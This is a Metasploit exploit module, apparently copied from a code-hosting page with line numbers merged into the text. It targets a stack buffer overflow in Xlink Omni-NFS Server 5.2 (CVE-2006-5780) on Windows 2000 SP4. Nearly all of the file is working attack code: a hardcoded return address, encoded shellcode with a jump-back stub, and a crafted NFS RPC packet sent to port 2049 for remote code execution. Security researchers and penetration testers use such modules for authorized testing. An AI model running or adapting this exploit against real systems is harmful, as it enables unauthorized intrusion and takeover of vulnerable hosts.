Path: blob/master/modules/exploits/windows/nfs/xlink_nfsd.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Omni-NFS Server Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Xlink Omni-NFS Server 5.217When sending a specially crafted nfs packet, an attacker may be able18to execute arbitrary code.19},20'Author' => [ 'MC' ],21'References' => [22[ 'CVE', '2006-5780' ],23[ 'OSVDB', '30224'],24[ 'BID', '20941' ],25[ 'URL', 'http://www.securityfocus.com/data/vulnerabilities/exploits/omni-nfs-server-5.2-stackoverflow.pm' ],26],27'DefaultOptions' => {28'EXITFUNC' => 'process',29},30'Payload' => {31'Space' => 336,32'BadChars' => "\x00",33'PrepenEncoder' => "\x81\xc4\x54\xf2\xff\xff",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' => [38[ 'Windows 2000 SP4 English', { 'Ret' => 0x0040bb2e } ],39],40'Privileged' => true,41'DefaultTarget' => 0,42'DisclosureDate' => '2006-11-06',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(2049)])52end5354def exploit55connect5657buff = payload.encoded58buff << Rex::Arch::X86.jmp_short(6) + rand_text_english(2)59buff << [target.ret].pack('V')60buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-330").encode_string61buff << rand_text_english(251)6263pkt = [1].pack('N')64pkt << [0].pack('N')65pkt << [2].pack('N')66pkt << [100005].pack('N')67pkt << [1].pack('N')68pkt << [1].pack('N')69pkt << [1].pack('N')70pkt << [400].pack('N')71pkt << buff[0, 400]72pkt << [1].pack('N')73pkt << [400].pack('N')74pkt << buff[300, 400]7576sploit = [pkt.length | 0x80000000].pack('N') + pkt7778print_status("Trying target #{target.name}...")79sock.put(sploit)8081handler82disconnect83end84end858687